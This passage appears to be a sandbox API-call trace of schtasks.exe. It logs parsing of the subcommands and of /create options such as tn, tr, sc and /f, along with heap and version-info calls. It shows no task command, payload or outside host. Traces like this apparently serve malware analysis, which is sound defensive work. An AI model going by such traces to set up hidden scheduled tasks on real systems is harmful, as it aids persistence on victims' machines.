_Size=0x7) returned 0 [0083.317] lstrlenW (lpString="f") returned 1 [0083.317] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.317] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|?|") returned 3 [0083.317] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|f|") returned 3 [0083.318] lstrlenW (lpString="|?|") returned 3 [0083.318] lstrlenW (lpString="|f|") returned 3 [0083.318] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0083.318] SetLastError (dwErrCode=0x490) [0083.318] lstrlenW (lpString="create") returned 6 [0083.318] lstrlenW (lpString="create") returned 6 [0083.318] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.318] lstrlenW (lpString="f") returned 1 [0083.318] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.318] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|create|") returned 8 [0083.318] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|f|") returned 3 [0083.318] lstrlenW (lpString="|create|") returned 8 [0083.318] lstrlenW (lpString="|f|") returned 3 [0083.318] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0083.318] SetLastError (dwErrCode=0x490) [0083.318] lstrlenW (lpString="delete") returned 6 [0083.318] lstrlenW (lpString="delete") returned 6 [0083.318] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.318] lstrlenW (lpString="f") returned 1 [0083.318] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.318] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|delete|") returned 8 [0083.318] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|f|") returned 3 [0083.318] lstrlenW (lpString="|delete|") returned 8 [0083.318] lstrlenW (lpString="|f|") returned 3 [0083.318] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0083.318] SetLastError (dwErrCode=0x490) [0083.318] lstrlenW (lpString="query") returned 5 [0083.318] lstrlenW (lpString="query") returned 5 [0083.318] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.318] lstrlenW (lpString="f") returned 1 [0083.319] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.319] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|query|") returned 7 [0083.319] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|f|") returned 3 [0083.319] lstrlenW (lpString="|query|") returned 7 [0083.319] lstrlenW (lpString="|f|") returned 3 [0083.319] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0083.319] SetLastError (dwErrCode=0x490) [0083.319] lstrlenW (lpString="change") returned 6 [0083.319] lstrlenW (lpString="change") returned 6 [0083.319] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.319] lstrlenW (lpString="f") returned 1 [0083.319] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.319] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|change|") returned 8 [0083.319] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|f|") returned 3 [0083.319] lstrlenW (lpString="|change|") returned 8 [0083.319] lstrlenW (lpString="|f|") returned 3 [0083.319] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0083.319] SetLastError (dwErrCode=0x490) [0083.319] lstrlenW (lpString="run") returned 3 [0083.319] lstrlenW (lpString="run") returned 3 [0083.319] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.319] lstrlenW (lpString="f") returned 1 [0083.319] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.319] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|run|") returned 5 [0083.319] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|f|") returned 3 [0083.319] lstrlenW (lpString="|run|") returned 5 [0083.319] lstrlenW (lpString="|f|") returned 3 [0083.319] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0083.319] SetLastError (dwErrCode=0x490) [0083.320] lstrlenW (lpString="end") returned 3 [0083.320] lstrlenW (lpString="end") returned 3 [0083.320] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.320] lstrlenW (lpString="f") returned 1 [0083.320] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.320] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|end|") returned 5 [0083.320] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|f|") returned 3 [0083.320] lstrlenW (lpString="|end|") returned 5 [0083.320] lstrlenW (lpString="|f|") returned 3 [0083.320] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0083.320] SetLastError (dwErrCode=0x490) [0083.320] lstrlenW (lpString="showsid") returned 7 [0083.320] lstrlenW (lpString="showsid") returned 7 [0083.320] _memicmp (_Buf1=0x37c1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.320] lstrlenW (lpString="f") returned 1 [0083.320] _memicmp (_Buf1=0x37c2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.320] _vsnwprintf (in: _Buffer=0x37c320, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|showsid|") returned 9 [0083.320] _vsnwprintf (in: _Buffer=0x37c300, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f318 | out: _Buffer="|f|") returned 3 [0083.320] lstrlenW (lpString="|showsid|") returned 9 [0083.320] lstrlenW (lpString="|f|") returned 3 [0083.320] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0083.320] SetLastError (dwErrCode=0x490) [0083.320] SetLastError (dwErrCode=0x490) [0083.320] SetLastError (dwErrCode=0x0) [0083.320] lstrlenW (lpString="/f") returned 2 [0083.320] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0083.320] SetLastError (dwErrCode=0x490) [0083.320] SetLastError (dwErrCode=0x0) [0083.320] lstrlenW (lpString="/f") returned 2 [0083.320] GetProcessHeap () returned 0x360000 [0083.320] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x6) returned 0x37ddb0 [0083.320] GetProcessHeap () returned 0x360000 [0083.321] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x37ce70 [0083.321] SetLastError (dwErrCode=0x0) [0083.321] GetProcessHeap () returned 0x360000 [0083.321] GetProcessHeap () returned 0x360000 [0083.321] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37c2c0) returned 1 [0083.321] GetProcessHeap () returned 0x360000 [0083.321] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37c2c0) returned 0x8 [0083.321] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37c2c0 | out: hHeap=0x360000) returned 1 [0083.321] GetProcessHeap () returned 0x360000 [0083.321] GetProcessHeap () returned 0x360000 [0083.321] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37ccf0) returned 1 [0083.321] GetProcessHeap () returned 0x360000 [0083.321] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37ccf0) returned 0x20 [0083.322] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37ccf0 | out: hHeap=0x360000) returned 1 [0083.322] GetProcessHeap () returned 0x360000 [0083.322] GetProcessHeap () returned 0x360000 [0083.322] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37c350) returned 1 [0083.322] GetProcessHeap () returned 0x360000 [0083.322] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37c350) returned 0xa [0083.322] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37c350 | out: hHeap=0x360000) returned 1 [0083.322] GetProcessHeap () returned 0x360000 [0083.322] GetProcessHeap () returned 0x360000 [0083.322] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37cd20) returned 1 [0083.322] GetProcessHeap () returned 0x360000 [0083.322] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37cd20) returned 0x20 [0083.323] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37cd20 | out: hHeap=0x360000) returned 1 [0083.323] GetProcessHeap () returned 0x360000 [0083.323] GetProcessHeap () returned 0x360000 [0083.323] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37c370) returned 1 [0083.323] GetProcessHeap () returned 0x360000 [0083.323] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37c370) returned 0x8 [0083.323] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37c370 | out: hHeap=0x360000) returned 1 [0083.323] GetProcessHeap () returned 0x360000 [0083.323] GetProcessHeap () returned 0x360000 [0083.323] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37cd50) returned 1 [0083.323] GetProcessHeap () returned 0x360000 [0083.323] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37cd50) returned 0x20 [0083.324] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37cd50 | out: hHeap=0x360000) returned 1 [0083.324] GetProcessHeap () returned 0x360000 [0083.324] GetProcessHeap () returned 0x360000 [0083.324] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37c390) returned 1 [0083.324] GetProcessHeap () returned 0x360000 [0083.324] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37c390) returned 0xe [0083.324] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37c390 | out: hHeap=0x360000) returned 1 [0083.324] GetProcessHeap () returned 0x360000 [0083.324] GetProcessHeap () returned 0x360000 [0083.324] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37cd80) returned 1 [0083.324] GetProcessHeap () returned 0x360000 [0083.324] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37cd80) returned 0x20 [0083.324] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37cd80 | out: hHeap=0x360000) returned 1 [0083.324] GetProcessHeap () returned 0x360000 [0083.324] GetProcessHeap () returned 0x360000 [0083.324] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37c3b0) returned 1 [0083.324] GetProcessHeap () returned 0x360000 [0083.324] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37c3b0) returned 0x8 [0083.324] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37c3b0 | out: hHeap=0x360000) returned 1 [0083.324] GetProcessHeap () returned 0x360000 [0083.325] GetProcessHeap () returned 0x360000 [0083.325] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37cdb0) returned 1 [0083.325] GetProcessHeap () returned 0x360000 [0083.325] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37cdb0) returned 0x20 [0083.325] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37cdb0 | out: hHeap=0x360000) returned 1 [0083.325] GetProcessHeap () returned 0x360000 [0083.325] GetProcessHeap () returned 0x360000 [0083.325] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37c3d0) returned 1 [0083.325] GetProcessHeap () returned 0x360000 [0083.325] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37c3d0) returned 0x6 [0083.325] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37c3d0 | out: hHeap=0x360000) returned 1 [0083.325] GetProcessHeap () returned 0x360000 [0083.325] GetProcessHeap () returned 0x360000 [0083.325] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37cde0) returned 1 [0083.325] GetProcessHeap () returned 0x360000 [0083.325] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37cde0) returned 0x20 [0083.326] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37cde0 | out: hHeap=0x360000) returned 1 [0083.326] GetProcessHeap () returned 0x360000 [0083.326] GetProcessHeap () returned 0x360000 [0083.326] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37c3f0) returned 1 [0083.326] GetProcessHeap () returned 0x360000 [0083.326] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37c3f0) returned 0x8 [0083.326] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37c3f0 | out: hHeap=0x360000) returned 1 [0083.326] GetProcessHeap () returned 0x360000 [0083.326] GetProcessHeap () returned 0x360000 [0083.326] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37ce10) returned 1 [0083.326] GetProcessHeap () returned 0x360000 [0083.326] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37ce10) returned 0x20 [0083.327] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37ce10 | out: hHeap=0x360000) returned 1 [0083.327] GetProcessHeap () returned 0x360000 [0083.327] GetProcessHeap () returned 0x360000 [0083.327] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x377bd0) returned 1 [0083.327] GetProcessHeap () returned 0x360000 [0083.327] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x377bd0) returned 0x30 [0083.327] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x377bd0 | out: hHeap=0x360000) returned 1 [0083.327] GetProcessHeap () returned 0x360000 [0083.327] GetProcessHeap () returned 0x360000 [0083.327] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37ce40) returned 1 [0083.328] GetProcessHeap () returned 0x360000 [0083.328] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37ce40) returned 0x20 [0083.329] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37ce40 | out: hHeap=0x360000) returned 1 [0083.329] GetProcessHeap () returned 0x360000 [0083.329] GetProcessHeap () returned 0x360000 [0083.329] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37ddb0) returned 1 [0083.329] GetProcessHeap () returned 0x360000 [0083.329] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37ddb0) returned 0x6 [0083.329] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37ddb0 | out: hHeap=0x360000) returned 1 [0083.329] GetProcessHeap () returned 0x360000 [0083.329] GetProcessHeap () returned 0x360000 [0083.329] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37ce70) returned 1 [0083.329] GetProcessHeap () returned 0x360000 [0083.329] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37ce70) returned 0x20 [0083.329] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37ce70 | out: hHeap=0x360000) returned 1 [0083.329] GetProcessHeap () returned 0x360000 [0083.329] GetProcessHeap () returned 0x360000 [0083.330] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x377f30) returned 1 [0083.330] GetProcessHeap () returned 0x360000 [0083.330] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x377f30) returned 0x18 [0083.330] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x377f30 | out: hHeap=0x360000) returned 1 [0083.330] SetLastError (dwErrCode=0x0) [0083.330] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0083.330] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0083.330] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0083.330] VerifyVersionInfoW (in: lpVersionInformation=0x25c370, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x25c370) returned 1 [0083.330] SetLastError (dwErrCode=0x0) [0083.330] lstrlenW (lpString="create") returned 6 [0083.330] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0083.330] SetLastError (dwErrCode=0x490) [0083.330] SetLastError (dwErrCode=0x0) [0083.330] lstrlenW (lpString="create") returned 6 [0083.330] GetProcessHeap () returned 0x360000 [0083.330] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x37ce70 [0083.330] GetProcessHeap () returned 0x360000 [0083.330] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x18) returned 0x37d600 [0083.330] _memicmp (_Buf1=0x37d600, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.330] GetProcessHeap () returned 0x360000 [0083.330] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x16) returned 0x37d620 [0083.331] SetLastError (dwErrCode=0x0) [0083.331] _memicmp (_Buf1=0x37bb50, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.331] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x37bcf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0083.331] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0083.331] GetProcessHeap () returned 0x360000 [0083.331] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x74e) returned 0x37ddb0 [0083.331] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x37ddb0 | out: lpData=0x37ddb0) returned 1 [0083.332] VerQueryValueW (in: pBlock=0x37ddb0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x25c458, puLen=0x25c4c0 | out: lplpBuffer=0x25c458*=0x37e14c, puLen=0x25c4c0) returned 1 [0083.332] _memicmp (_Buf1=0x37bb50, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.332] _vsnwprintf (in: _Buffer=0x37bcf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x25c438 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0083.332] VerQueryValueW (in: pBlock=0x37ddb0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x25c4c8, puLen=0x25c4b8 | out: lplpBuffer=0x25c4c8*=0x37df78, puLen=0x25c4b8) returned 1 [0083.332] lstrlenW (lpString="schtasks.exe") returned 12 [0083.332] lstrlenW (lpString="schtasks.exe") returned 12 [0083.332] lstrlenW (lpString=".EXE") returned 4 [0083.332] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0083.332] lstrlenW (lpString="schtasks.exe") returned 12 [0083.332] lstrlenW (lpString=".EXE") returned 4 [0083.332] lstrlenW (lpString="schtasks") returned 8 [0083.332] lstrlenW (lpString="/create") returned 7 [0083.332] _memicmp (_Buf1=0x37bb50, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.332] _vsnwprintf (in: _Buffer=0x37bcf0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x25c438 | out: _Buffer="schtasks /create") returned 16 [0083.332] _memicmp (_Buf1=0x37bb70, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.332] GetProcessHeap () returned 0x360000 [0083.332] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x20) returned 0x37ce40 [0083.332] _memicmp (_Buf1=0x37bb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.332] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x37d3a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0083.332] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0083.332] GetProcessHeap () returned 0x360000 [0083.332] RtlAllocateHeap (HeapHandle=0x360000, Flags=0xc, Size=0x30) returned 0x377bd0 [0083.332] _vsnwprintf (in: _Buffer=0x37c0f0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x25c438 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0083.333] GetProcessHeap () returned 0x360000 [0083.333] GetProcessHeap () returned 0x360000 [0083.333] HeapValidate (hHeap=0x360000, dwFlags=0x0, lpMem=0x37ddb0) returned 1 [0083.333] GetProcessHeap () returned 0x360000 [0083.333] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x37ddb0) returned 0x74e [0083.333] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37ddb0 | out: hHeap=0x360000) returned 1 [0083.333] SetLastError (dwErrCode=0x0) [0083.333] GetThreadLocale () returned 0x409 [0083.333] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.333] lstrlenW (lpString="create") returned 6 [0083.333] GetThreadLocale () returned 0x409 [0083.333] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.333] lstrlenW (lpString="?") returned 1 [0083.333] GetThreadLocale () returned 0x409 [0083.333] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.333] lstrlenW (lpString="s") returned 1 [0083.333] GetThreadLocale () returned 0x409 [0083.333] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.334] lstrlenW (lpString="u") returned 1 [0083.334] GetThreadLocale () returned 0x409 [0083.334] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.334] lstrlenW (lpString="p") returned 1 [0083.334] GetThreadLocale () returned 0x409 [0083.334] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.334] lstrlenW (lpString="ru") returned 2 [0083.334] GetThreadLocale () returned 0x409 [0083.334] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.334] lstrlenW (lpString="rp") returned 2 [0083.334] GetThreadLocale () returned 0x409 [0083.334] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.334] lstrlenW (lpString="sc") returned 2 [0083.334] GetThreadLocale () returned 0x409 [0083.334] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.334] lstrlenW (lpString="mo") returned 2 [0083.334] GetThreadLocale () returned 0x409 [0083.334] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.334] lstrlenW (lpString="d") returned 1 [0083.334] GetThreadLocale () returned 0x409 [0083.334] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.334] lstrlenW (lpString="m") returned 1 [0083.334] GetThreadLocale () returned 0x409 [0083.334] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.334] lstrlenW (lpString="i") returned 1 [0083.334] GetThreadLocale () returned 0x409 [0083.334] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.334] lstrlenW (lpString="tn") returned 2 [0083.334] GetThreadLocale () returned 0x409 [0083.335] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.335] lstrlenW (lpString="tr") returned 2 [0083.335] GetThreadLocale () returned 0x409 [0083.335] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.335] lstrlenW (lpString="st") returned 2 [0083.335] GetThreadLocale () returned 0x409 [0083.335] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.335] lstrlenW (lpString="sd") returned 2 [0083.335] GetThreadLocale () returned 0x409 [0083.335] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.335] lstrlenW (lpString="ed") returned 2 [0083.335] GetThreadLocale () returned 0x409 [0083.335] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.335] lstrlenW (lpString="it") returned 2 [0083.335] GetThreadLocale () returned 0x409 [0083.335] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.335] lstrlenW (lpString="et") returned 2 [0083.335] GetThreadLocale () returned 0x409 [0083.335] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.335] lstrlenW (lpString="k") returned 1 [0083.335] GetThreadLocale () returned 0x409 [0083.335] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.335] lstrlenW (lpString="du") returned 2 [0083.335] GetThreadLocale () returned 0x409 [0083.335] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.335] lstrlenW (lpString="ri") returned 2 [0083.335] GetThreadLocale () returned 0x409 [0083.335] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.335] lstrlenW (lpString="z") returned 1 [0083.335] GetThreadLocale () returned 0x409 [0083.335] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.335] lstrlenW (lpString="f") returned 1 [0083.336] GetThreadLocale () returned 0x409 [0083.336] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.336] lstrlenW (lpString="v1") returned 2 [0083.336] GetThreadLocale () returned 0x409 [0083.336] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.336] lstrlenW (lpString="xml") returned 3 [0083.336] GetThreadLocale () returned 0x409 [0083.336] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.336] lstrlenW (lpString="ec") returned 2 [0083.336] GetThreadLocale () returned 0x409 [0083.336] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.336] lstrlenW (lpString="rl") returned 2 [0083.336] GetThreadLocale () returned 0x409 [0083.336] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.336] lstrlenW (lpString="delay") returned 5 [0083.336] GetThreadLocale () returned 0x409 [0083.336] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.336] lstrlenW (lpString="np") returned 2 [0083.336] SetLastError (dwErrCode=0x0) [0083.336] SetLastError 